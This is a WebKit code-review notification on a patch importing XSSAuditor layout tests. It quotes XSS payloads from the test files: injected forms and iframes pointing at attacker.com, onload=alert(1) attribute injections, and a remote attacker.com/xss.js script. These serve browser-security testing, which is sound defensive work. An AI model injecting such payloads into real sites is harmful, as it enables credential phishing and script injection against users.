[webkit-reviews] review canceled: [Bug 54576] Import XSSAuditor tests from David Ross : [Attachment 82676] Patch

[bugzilla-daemon at webkit.org]

Adam Barth <abarth at webkit.org> has canceled Daniel Bates <dbates at webkit.org>'s
request for review:
Bug 54576: Import XSSAuditor tests from David Ross
https://bugs.webkit.org/show_bug.cgi?id=54576

Attachment 82676: Patch
https://bugs.webkit.org/attachment.cgi?id=82676&action=review

------- Additional Comments from Adam Barth <abarth at webkit.org>
View in context: https://bugs.webkit.org/attachment.cgi?id=82676&action=review

>> LayoutTests/http/tests/security/xssAuditor/form-action.html:12
>> +<iframe
src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<fo
rm%20action=http://attacker.com/%20method=x><input%20type=submit><input%20name=
x%20value='Please%20type%20your%20PIN.'>">
> 
> It should be sufficient to reference http://127.0.0.1:8000 instead of
attacker.com here.

Done

>> LayoutTests/http/tests/security/xssAuditor/iframe-injection.html:12
>> +<iframe
src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<if
rame%20src='http://attacker.com/'></iframe>">
> 
> Ditto.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-attribute-body.html:12
>> +<iframe
src="http://localhost:8000/security/xssAuditor/resources/echo-property.pl?q=%22
%20onload=alert(1)//">
> 
> Minor nit, we have been pretty fairly consistent (not always) in using /XSS/
for alert message. This is not a deal-breaker. Although, for most of WebKit, we
favor messages with PASS or FAIL. Just thought to mention this.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-event-handler-iframe.html:12

>> +<iframe
src="http://localhost:8000/security/xssAuditor/resources/echo-intertag.pl?q=<if
rame%20onload=alert(1)//">
> 
> Ditto.

Done.

>> LayoutTests/http/tests/security/xssAuditor/open-iframe-src-expected.txt:1
>> + 
> 
> Is this suppose to be empty?

Yes.  It will be non-empty once we pass the test.

>> LayoutTests/http/tests/security/xssAuditor/open-script-src-expected.txt:1
>> +   
> 
> Is this suppose to be empty?

Same.

>> LayoutTests/http/tests/security/xssAuditor/open-script-src.html:16
>> +</body>
> 
> It should be sufficient to use
http://127.0.0.1:8000/security/xssAuditor/resources/xss.js instead of
http://attacker.com/xss.js.
> 
> Also, the reference script is "xss.js?". Is the '?' necessary? If so, then it
should be URL-encoded.

I've changed the URL as requested.  The ? is necessary.  David didn't escape
it, so I'm inclined to leave it.